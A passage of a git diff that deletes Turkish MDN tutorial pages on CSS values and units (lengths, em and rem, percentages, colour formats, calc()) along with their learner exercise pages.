</tr> - </tbody> -</table> - -<h4 id="Bir_örnekle_keşfedelim">Bir örnekle keşfedelim</h4> - -<p>Aşağıdaki örnekte, bazı göreli ve mutlak uzunluk birimlerinin nasıl davrandığını görebilirsin. İlk kutunun {{cssxref("width")}} niteliği piksel cinsinden bir değeri vardır. Mutlak bir birim olarak, bu genişlik başka ne değişirse değişsin aynı kalacaktır.</p> - -<p>İkinci kutu, <code>vw</code>(görüntü alanı genişliği) birimlerinde ayarlanmış bir genişliğe sahiptir. Bu değer, görüntü alanı genişliğine bağlıdır ve bu nedenle 10vw, görüntü alanının genişliğinin yüzde 10'udur. Tarayıcı pencerenin genişliğini değiştirirsen, kutunun boyutu değişmelidir. Ancak bu örnek, bir <code><iframe></code> kullanılarak sayfaya gömüldüğü için tarayıcının genişliğinin değiştirilmesi işe yaramaz. Bunu çalışır bir şekilde görebilmek için, <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">örneği kendi tarayıcı sekmesinde açtıktan sonra denemen gerekir</a>.</p> - -<p>Üçücü kutu <code>em</code> birimi kullanır. Bunlar yazı tipi boyutuna bağlıdır. <code>.wrapper</code> sınıfının yazı tipi boyutunu <code>1em</code> olarak ayarladım. Bu değeri değiştirdiğinde tüm öğelerin yazı tipi boyutunun değiştiğini göreceksin, ancak genişliği yazı tipi boyutuna bağlı olan sadece son öğe olduğu için birtek onun genişliği değişecektir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p> - -<h4 id="ems_ve_rems">ems ve rems</h4> - -<p><code>em</code> ve <code>rem</code> kutulardan metne kadar herhangi bir öğeyi boyutlandırırken en sık karşılaşacağın iki göreceli uzunluktur. Bunların nasıl çalıştıklarını ve aralarındaki farkları anlamak önemlidir, özellikle de <a href="/tr/docs/Learn/CSS/Styling_text">stil metni</a> veya <a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a> gibi daha karmaşık konulara geçmeye başladığında. Aşağıdaki örnek anlayabilmen için bir sunum sunar.</p> - -<p>HTML, iç içe geçmiş bir dizi listeden oluşur — Toplamda üç listemiz var ve her iki örnekte de aynı HTML kodları mevcut. Tek fark, ilkinin bir <em>ems</em> sınıfına ve ikicinin bir <em>rems</em> sınıfına sahip olmasıdır.</p> - -<p>Başlangıç olarak, <code><html></code> öğenin yazı tipi boyutu olarak 16px ayarladık.</p> - -<p><strong>Özetlemek gerekirse</strong>, tipografi durumunda <strong>em birimi "ana öğenin yazı tipi boyutu" anlamına gelir</strong>. {{htmlelement("li")}} İçindeki {{htmlelement("ul")}} öğeleri <code>ems</code> sınıfına dahil olan ebeveynlerinden boyutlandırma alır. Böylece, her bir ardışık iç içe geçme düzeyi giderek büyür, çünkü her birinin yazı tiği boyutu <code>1.3</code><code>em</code>'dir, ebeveyninin yazı tiği boyutunun 1,3 katıdır.</p> - -<p><strong>Özetlemek gerekirse, rem birimi "Kök(root) öğenin yazı tipi boyutu" anlamına gelir</strong> (rem "kök em" anlamına gelir). {{htmlelement("li")}} öğesinin içindeki {{htmlelement("ul")}} öğeleri, boyutlarını <code>rems</code> sınıfındaki <code>rem</code> tanımından dolayı kök öğenin<code><html></code> yazı tipi boyutundan alır. Birbirini izleyen her yuvada, kök öğenin yazı tipi değişmediğinden, bu öğelerdeki yazı tipi boyutlarıda sabit kalır.</p> - -<p>Bununla birlikte, <code><html></code> öğesinin <code>font-size</code> niteliğini CSS'de değiştirirsen, diğer her şeyin ona göre değiştiğini göreceksin — hem <code>rem</code>, hemde <code>em</code> buyutlu metinler.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p> - -<h3 id="Yüzdeler">Yüzdeler</h3> - -<p>Çoğu durumda, bir yüzde, uzunlukla aynı şekilde ele alınır. Yüzde olan değer, her zaman başka bir değere göre ayarlanmış olmaktadır. Örneğin, bir öğeyi <code>font-size</code> yüzde olarak ayarlarsan, bu öğenin üst öğesinin <code>font-size</code> nitelik değerinin bir yüzdesi olacaktır. Bir <code>width</code> değer için yüzde kullanırsan, üst öğenin <code>width</code> nitelik değerinin yüzdesi olacaktır.</p> - -<p>Aşağıdaki örnekte, yüzde boyutlu iki kutu ve iki piksel boyutlu kutu aynı sınıf adlarına sahiptir. Her iki set de sırasıyla 200 piksel ve %40 genişliğindedir.</p> - -<p>Aradaki fark, iki kutudan oluşan ikinci setin 400 piksel genişliğinde bir çerçevenin içinde olmasıdır. İkinci 200 piksel genişliğindeki kutu birincisi ile aynı genişliktedir. ancak ikinci %40'lık kutu şimdi 400 pikselin %40'na sahip olduğundan ilkinden daha dardır!</p> - -<p><strong>Bunun nasıl çalıştığını görmek için çerçevenin genişliğini veya yüzde değerini değiştirmeyi dene.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p> - -<p>Sonraki örnekte yazı tipi boyutları yüzde olarak belirlenmiştir. <code><li></code> öğesinin <code>font-size</code> nitelik değeri %80'lik bir paya sahip olduğu ve iç içe yerleştirilmiş liste öğelerinin, boyutlarını üstlerinden devraldığından her bir basamakta giderek küçülür.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p> - -<p>Birçok değer türü bir uzunluk veya yüzdeyi kabul ederken, yalnızca uzunluğu kabul eden değer türlerinin de olduğunu unutmayın. MDN nitelik referans sayfalarında hangi değerlerin kabul edilip/edilmediğini öğrenebilirsin. İzin verilen değerler <code><a href="/tr/docs/Web/CSS/length-percentage"><length-percentage></a></code>'ri içeriyorsa, bir uzunluk veya yüzde kullanılabilir. izin verilen değer yalnızca <code><length></code> içeriyorsa, yüzde kullanmak mümkün değildir.</p> - -<h3 id="Sayılar">Sayılar</h3> - -<p>Bazı değer türleri, herhangi bir birim eklenmeden sayıları kabul eder. Birimsiz bir sayıyı kabul eden bir niteliğe örnek, <code>opacity</code> bir öğenin opaklığını(ne kadar şeffaf olduğunu) kontrol eden özelliktir. Bu özellik <code>0</code>(tamamen şeffaf) ve <code>1</code>(şeffaflık yok) arasında bir sayıyı kabul eder.</p> - -<p><strong>Aşağıdaki örnekte, <code>opacity</code> değerini değiştirmeyi deneyin. <code>0</code> ve <code>1</code> arasında çeşitli ondalık değerler vererek kutunun şeffaflığının nasıl değiştiğine dikkat edin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>:CSS'de değer olarak bir sayı kullandığında, bu sayı tırnak içine <u>alınmamalıdır</u>.</p> -</div> - -<h2 id="Renk">Renk</h2> - -<p>CSS'de rengi belirlemenin birçok yolu vardır ve bunlardan bazıları yeni yeni desteklenmeye başlamıştır. Metin rengini, arka plan rengini veya başka herhangi bir öğeyi belirtirken aynı rengi kullanabilirsin.</p> - -<p>Modern bilgisayarlarda bulunan standart renk sistemi 24bit olup, kanal başına 256 farklı değerde kırmızı, yeşil ve mavi kombinasyonu aracılığıyla yaklaşık 16,7 milyon farklı rengin görüntülenmesini sağlar (256 x 256 x 256 = 16.777.216.) CSS'de renkleri belirlemenin bazı yollarına bir göz atalım.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bu eğitimde, iyi bir tarayıcı desteğine sahip olan renkleri belirlemenin yaygın yöntemlerine bakacağız, başkaları da var ama anlatacaklarım kadar iyi desteğe sahip değiller ve daha az yaygınlardır.</p> -</div> - -<h3 id="Anahtar_kelime_renkleri">Anahtar kelime renkleri</h3> - -<p>Renk belirtmenin basit ve anlaşılır bir yolu oldukları için, buradaki ve MDN'nin başka bir yerindeki örneklerde sıklıkla kullanıldıklarını göreceksin. Bu anahtar kelimelerinin bazıları oldukça eğlenceli isimlere sahip! <code><a href="/tr/docs/Web/CSS/color_value"><color></a></code> değer türü için sayfada tam bir liste görebilirsin.</p> - -<p><strong>Nasıl çalıştıklarını hakkında daha fazla fikir edinmek için aşağıdaki canlı örneklerde farklı renk değerleriyle oynamayı deneyebilirsin.</strong></p> - -<h3 id="Onaltılık_RGB_değerleri">Onaltılık RGB değerleri</h3> - -<p>Karşılaşacağın sonraki renk veri türü değeri onaltılık kodlardır. Her bir onaltılık değer, bir karma/pound sembolünden(#) ve ardından altı onaltılık sayıdan oluşur; bunların her biri 0 ile f(15'şi temsil eder) arasında 16 değerden birini alabilir. yani <code>0123456789abcdef</code>. Her bir değer çifti, kanallardan birini (kırmızı, yeşil ve mavi) temsil eder ve her biri için mevcut 256 değerden herhangi birini belirlememize olanak tanır (16 x 16 = 256).</p> - -<p>Bu değerler biraz daha karmaşık ve anlaşılması daha zordur, ancak anahtar kelimelerden çok daha yönlüdürler — renk düzeninde kullanmak istediğin herhangi bir rengi temsil etmek için onaltılık değerleri kullanabilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p> - -<p><strong>Renklerin nasıl değiştiğini görmek için değerleri değiştirmeyi deneyin.</strong></p> - -<h3 id="RGB_ve_RGBA_deperleri">RGB ve RGBA deperleri</h3> - -<p>Burada bahsedeceğimiz üçüncü şema RGB'dir. RGB değeri, kırmızı, yeşil ve mavi renklerinin kanal değerlerini, onaltılık değerlerle hemen hemen aynı şekilde temsil eden üç parametre verilen bir fonsiyondur — <code>rgb()</code>. onaltılık sistemle arasındaki fark, her kanalın iki onaltılık rakamla değil, 0 ile 255 arasında bir sayıyla temsil edilmesidir — anlaşılması biraz daha kolaydır.</p> - -<p>RGB renklerini kullanmak için son örneğimizi yeniden yazalım:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p> - -<p>Ayrıca RGBA veri türünü de kullanabilirsin — bunlar RGB renkleriyle tamamen aynı şekilde çalışır ve herhangi bir RGB değerini kullanabilirsin. Sadece, şeffaflığı kontrol eden rengin alfa kanalını temsil eden dördüncü bir değeri vardır. Bu değeri <code>0</code> olarak ayarlarsan rengi tamamen şeffaf hale getirir, <code>1</code> olarak ayarlarsan tamamen opak hale getirir. Ara değerler farklı şeffaflık düzeyi verir.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bir renk üzerinde bir alfa kanalı ayarlamanın, daha önce baktığımız {{cssxref("opacity")}} niteliğini kullanmaktan önemli bir farkı vardır. Opaklığı kullandığında, öğeyi ve içindeki her şeyi opak yaparsın, RGBA renklerini kullanmak ise yalnızca belirttiğin rengi opak yapar.</p> -</div> - -<p>Aşağıdaki örnekte, renkli kutularımızın bulunduğu bloğa bir arka plan resmi ekledim. Daha sonra kutuları farklı opaklık değerlerine sahip olacak şekilde ayarladım — alfa kanalı değeri daha küçük olduğunda arka planın nasıl daha fazla göründüğüne dikkat edin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p> - -<p><strong>Bu örnekte, renk çıktısını nasıl etkilediğini görmek için alfa kanalı değerlerini değiştirmeyi deneyin. </strong></p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <code>rgba()</code> ile <code>rgb()</code> ve <code>hsl()</code> ile <code>hsla()</code>(aşağıya bakın) birbirinden saf takma ad ile ayrılan ve aynı şekilde hareket edecek şekilde tarayıcılar tarafından güncellendi. Yani, örneğin hem <code>rgba()</code>, hemde <code>rgb()</code> ile alfa kanalı değerleri olmadan renkleri oluşturabiliyoruz. Yukarıdaki örneğin <code>rgba()</code> fonksiyonunu <code>rgb()</code> olarak değiştirin ve renklerin hala çalışıp çalışmadığını görün! Hangi stili kullanacağın size bağlıdır, ancak farklı işlevleri kullanmak, şeffaf olmayan ve şeffaf olan renk tanımlarını ayırmak için daha iyi tarayıcı desteği sağlar ve kodunuzda şeffaf renklerin nerede tanımlandığının görsel bir göstergesi olarak işlev görebilir.</p> -</div> - -<h3 id="HSL_ve_HSLA_değeri">HSL ve HSLA değeri</h3> - -<p>RGB'den biraz daha az desteklenen HSL renk modelidir(IE'nin eski sürümlerinde desteklenmez) ve tasarımcıların büyük ilgisinden sonra uygulanmıştır. <code>hsl()</code> fonksiyonu, kırmızı, yeşil ve mavi değerleri yerine 16,7 milyon rengi ayırt etmek için kullanılan ton, doygunluk ve açıklık değerlerini kabul eder, ancak farklı bir şekilde:</p> - -<ul> - <li><strong>Ton</strong>: Rengin temel tonudur. Bu, renk tekerleği etrafındaki açıları temsil eden, 0 ile 360 arasında bir değer alır.</li> - <li><strong>Doygunluk</strong>: Renk ne kadar doygun? Bu, 0'ın renk olmadığı (gri gölgesi olarak görünecektir) ve %100'ün tam renk doygunluğu olduğu %0 ile %100 arasında bir değer alır.</li> - <li><strong>Hafiflik</strong>: Renk ne kadar açık veya parlak? Bu, 0'ın ışık olmadığı (tamamen siyah görünür) ve %100'ü tam ışık olduğu(tamamen beyaz görünür) %0 ile %100 arasında bir değer alır</li> -</ul> - -<p>HSL renklerini şu şekilde kullanmak için RGB örneğini güncelleyebiliriz:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} </p> - -<p>RGB'nin RGBA'ya sahip olması gibi, HSL'nin de bir HSLA tipinde bir eşdeğeri vardır, bu da alfa kanalını belirtmen için size aynı yeteneği verir. Bunu aşağıda RGBA örneğimi HSLA renklerini kullanacak şekilde değiştirerek gösterdim.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p> - -<p>Bu renk değerlerinden herhangi birini projelerinde kullanabilirsin. Çoğu proje için bir renk paletine karar vermen ve ardından bu renkleri — ve seçtiğin rengi belirleme yöntemini — tüm proje boyunca aynı modeli kullanman muhtemeldir. Renk modellerini karıştırıp kullanabilirsin, ancak tutarlılık için genellikle en iyisi projenin bütününde, aynı modeli kullanmandır!</p> - -<h2 id="Görüntüler">Görüntüler</h2> - -<p><code><a href="/tr/docs/Web/CSS/image"><image></a></code> değer türü kullanıldığı herhangi bir yerde geçerli bir görüntü değeri taşır. Bu, bir <code>url()</code> fonksiyonu ile işaret edilen gerçek bir görüntü dosyası veya bir gradyan olabilir.</p> - -<p>Aşağıdaki örnekte, CSS <code>background-image</code> niteliğine tanımlanan bir görüntü ve gradyanı gösterdik.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <code><image></code> için olası başka veri türleri de vardır, ancak bunlar daha yenidir ve şu anda daha az tarayıcı desteğine sahiptir. Daha fazla bilgi edinmek istiyorsan, MDN'deki <code><a href="/tr/docs/Web/CSS/image"><image></a></code> sayfasına bakabilirsin.</p> -</div> - -<h2 id="Konum">Konum</h2> - -<p><code><a href="/tr/docs/Web/CSS/position_value"><position></a></code> değer türü, arka plan görüntüsünü, 2 Boyutlu koordinat sistemine göre öğeye konumlandırmak(<code><a href="/tr/docs/Web/CSS/background-position">background-position</a></code> üzerinden) için kullanılan bir değerdir. Değer türü, <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>, ve <code>center</code> gibi anahtar kelimeleri alabilir, kutunun üst ve sol kenarından uzaklıkları temsil eden 2 boyutlu bir koordinatlamayı da kullanabilir.</p> - -<p>Tipik bir konum değeri iki değerden oluşur — birincisi konumu yatay, ikincisi dikey olarak ayarlar. Yalnızca bir eksen için değerler belirtirsen, diğeri varsayılan olacaktır: <code>center</code>.</p> - -<p>Aşağıdaki örnekte, bir anahtar kelime kullanarak kabın üstünden 40 piksel uzaklıkta, sağ tarafa dayalı bir arka plan yerleştirdik:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p> - -<p><strong>Görüntünün nasıl hareket ettirebileceğini görebilmek içn bu değerlerle oynayabilirsin.</strong></p> - -<h2 id="Dizeler_ve_tanımlayıcılar">Dizeler ve tanımlayıcılar</h2> - -<p>Daha önceki örneklerde, anahtar kelimelerin nerede ve nasıl kullanıldıklarını gördük(Örn., <code><color></code> değer türünde kullandığımız <code>red</code>, <code>black</code>, <code>rebeccapurple</code>, ve <code>goldenrod</code> anahtar kelimeleri gibi). Bu anahtar kelimeler, <em>tanımlayıcılar</em> olarak ifade edilir ve CSS'de onların özel değer olduklarını anlar. Bu nedenle, <a title="Tırnak içine alınmamış.">alıntı</a> yapılmaz — dizeler olarak değerlendirilmezler.</p> - -<p>CSS'de dizeleri kullandığımız yerler de var. örneğin <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#Generating_content_with_before_and_after">oluşturulan içeriği belirtirken</a>. Bu durumda, değer bir dizge olduğunu göstemek için tırnak içine alınır. Aşağıdaki örnekte, tırnak içinde oluşturulmuş bir içerik dizesi ile birlikte <a title="Tırnak içine alınmamış.">alıntılanmamış</a> renk anahtar sözcükleri kullanıyoruz.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p> - -<h2 id="Fonksiyonlar">Fonksiyonlar</h2> - -<p>Bakacağımız son değer türü, fonksiyonlar olarak bilinen değerler grubudur. Programlamada, bir fonksiyon, hem geliştirici hem de bilgisayar tarafından minimum çabayla tekrar eden bir görevi tamamlamak için birden çok kez çalıştırılabilen ve yeniden kullanılabilir olan kod bölümüdür. Fonksiyonlar genellikle JavaScript, Python veya C++ gibi dillerle ilişkilendirilir, ancak nitelik değerleri olarak CSS'de de bulunurlar. Zaten renkler bölümünde eylem fonksiyonlarını gördük — <code>rgb()</code>, <code>hsl()</code> ve bir dosyadan görüntüyü döndürmek için kullanılan <code>url()</code> gibi.</p> - -<p><code>calc()</code> geneneksel bir programlama dilinde bulabileceğin fonksiyonlara benzeyen bir CSS fonksiyonudur. Bu fonksiyon, basit hesaplamalar yapabilmeni sağlar. Projen için CSS'i yazarken tanımlayamadığın değerleri hesaplamak istiyorsan ve tarayıcının çalışma zamanında sizin için hesaplama yapmasını istediğin durumlarda yararlıdır.</p> - -<p>Örneğin, aşağıda <code>calc()</code> fonksiyonunu kutunun genişliğini <code>%20 + 100px</code> yapmak için kullanıyoruz. %20, ebeveyn öğesinin genişliğinden hesaplanır. <code>.wrapper</code> sınıfında tanımlanan genişlik değeri değişirse oğul öğenin genişliğide değişir. Bu hesaplamayı önceden yapamayız çünkü ebeveynin %20'sinin ne olacağını bilmiyoruz, bu yüzden <code>calc()</code> fonksiyonunu kullanarak tarayıcıya bunu bizim için yapmasını söyleyebiliriz.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musunuz? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. — bkz. <a href="/tr/docs/Learn/CSS/Building_blocks/Values_tasks">Becerilerini test et: Değerler ve birimler</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu, karşlaşabileceğin en yaygın değer ve birim türlerinin hızlı bir şekilde gözden geçerilmesi olmuştur. <a href="/tr/docs/Web/CSS/CSS_Values_and_Units">CSS Değerleri ve birimleri</a> referans sayfasındaki tüm farklı türlere göz atabilirsin; bu derslerde çalışırken bunların çoğuyla karşılaşacaksın.</p> - -<p>Unutulmaması gereken en önemli konu, her özelliğin izin verilen değer türlerinin tanımlanmış bir listesine sahip olması ve her değer türünün değelerinin ne olduğunu açıklayan bir tanıma sahip olmasıdır. Daha sonra MDN'de ayrıntılara bakabilirsin.</p> - -<p>Örneğin <code><a href="/tr/docs/Web/CSS/image"><image></a></code> bir renk gradyanı oluşturmana da izin veren yaklaşımı yararlıdır, ancak yazılışından bu yaklaşıma sahip olduğunun anlaşılması zordur.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde elemanlar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de elemanların boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/values_tasks/index.html b/files/tr/learn/css/building_blocks/values_tasks/index.html deleted file mode 100644 index 50d9bac560..0000000000 --- a/files/tr/learn/css/building_blocks/values_tasks/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: 'Becerilerinizi test edin: değerler ve birimler' -slug: Learn/CSS/Building_blocks/Values_tasks -tags: - - Acemi - - Beginner - - CSS - - Example - - Örnek -translation_of: Learn/CSS/Building_blocks/Values_tasks -original_slug: Öğren/CSS/CSS_yapi_taslari/Values_tasks ---- -<div>{{LearnSidebar}}</div> - -<div></div> - -<p>Bu görevin amacı, <a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">CSS Değerleri ve Birimleri</a> dersinde incelediğimiz bazı değerler ve birimler hakkındaki anlayışınızı kontrol etmenize yardımcı olmaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde kodları deneyebilirsiniz, ancak kodu indirip görevler üzerinde çalışabilmek için kullanabileceğiniz <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanılması da yararlı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme ve yardım")}} bölümüne bakın.</p> -</div> - -<h2 id="Birinci_Görev">Birinci Görev</h2> - -<p>bu görevde, ilk liste öğesine onaltılık renk kodları kullanılarak bir arka plan rengi verilmiştir. Göreviniz, aynı rengi farklı formatlarda kullanarak CSS'i tamamlamak ve ayrıca arka planı yarı saydam yapmanız gereken son bir liste öğeniz var.</p> - -<ul> - <li>İkinci liste öğesini RGB rengini kullanmalıdır.</li> - <li>üçüncüsü HSL rengini kullanmalıdır.</li> - <li>Dördüncüsü RGB rengini kullanmalı ancak alfa kanalı 0.2 olarak ayarlanmalıdır.</li> -</ul> - -<p>Onaltılık renk için dönüşümleri <a href="https://convertingcolors.com/hex-color-86DEFA.html">Bu bağlantıda</a> bulabilirsiniz.CSS'deki değerleri nasıl kullanağınızı bulmanız gerekir.</p> - -<p><img alt="Four list items. The first three with the same background color and the last with a lighter background." src="https://mdn.mozillademos.org/files/17135/mdn-value-color.png" style="height: 535px; width: 1270px;"></p> - -<p>Bitmiş öreği yeniden oluşturmak için aşağıdaki canlı kodu düzenlemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/values/color.html", '100%', 1000)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/values/color-download.html">kaynak kodlarını</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="İkinci_görev">İkinci görev</h2> - -<p>Bu görevde çeşitli metin öğelerinin boyutunu ayarlamanız gerekir.</p> - -<ul> - <li>{{HTMLElement("h1")}} 50 piksel olmalıdır.</li> - <li>{{HTMLElement("h2")}} 2em olmalıdır.</li> - <li>{{HTMLElement("p")}} 16 piksel olmalıdır.</li> - <li>{{HTMLElement("h1")}}'in ilk kardeşi olan {{HTMLElement("p")}}, {{HTMLElement("h1")}} %120'si olmalıdır.</li> -</ul> - -<p><img alt="Some text at varying sizes." src="https://mdn.mozillademos.org/files/17136/mdn-value-length.png" style="height: 845px; width: 1267px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturmak için canlı kodu düzenlemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/values/length.html", '100%', 1000)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/values/length-download.html">kaynak kodlarını</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Üçüncü_görev">Üçüncü görev</h2> - -<p>Bu görevde, arka plan resmini yatay olarak ortalayacak şekilde ve kutunun üstünden %20 oranında hareket ettirmeniz gerekir.</p> - -<p><img alt="A stat centered horizontally in a box and a short distance from the top of the box." src="https://mdn.mozillademos.org/files/17137/mdn-value-position.png" style="height: 383px; width: 734px;"></p> - -<p>Örneği resimde gösterildiği gibi yeniden oluşturmak için aşağıdaki canlı kodu güncellemeyi deneyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/values/position.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/values/position-download.html">kaynak kodlarını</a> editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Kutu Modeli Beceri testi 1 için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/learn/css/building_blocks/writing_modes_tasks/index.html b/files/tr/learn/css/building_blocks/writing_modes_tasks/index.html deleted file mode 100644 index 63c0f98f36..0000000000 --- a/files/tr/learn/css/building_blocks/writing_modes_tasks/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'Becerilerinizi test edin: Yazma Modları ve Mantıksal Özellikler' -slug: Learn/CSS/Building_blocks/Writing_Modes_Tasks -tags: - - Başlangıç - - Beginner - - CSS -translation_of: Learn/CSS/Building_blocks/Writing_Modes_Tasks -original_slug: Öğren/CSS/CSS_yapi_taslari/Writing_Modes_Tasks ---- -<div>{{LearnSidebar}}</div> - -<div></div> - -<p>Bu görevin amacı, Yazma Modları ve Mantıksal özellikler konusundaki anlayışınızı kontrol etmenize yardımcı olmaktır. Bu görevleri tamamlamak için bilmeniz gerekenler, <a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönlerini kullanma</a> dersinde ele alınmaktadır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde kodları deneyebilirsiniz, ancak kodu indirip görevler üzerinde çalışabilmek için kullanabileceğiniz <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanılması da yararlı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme ve yardım")}} bölümüne bakın.</p> -</div> - -<h2 id="1._Görev">1. Görev</h2> - -<p>Örnekteki kutu, yatay bir yazma 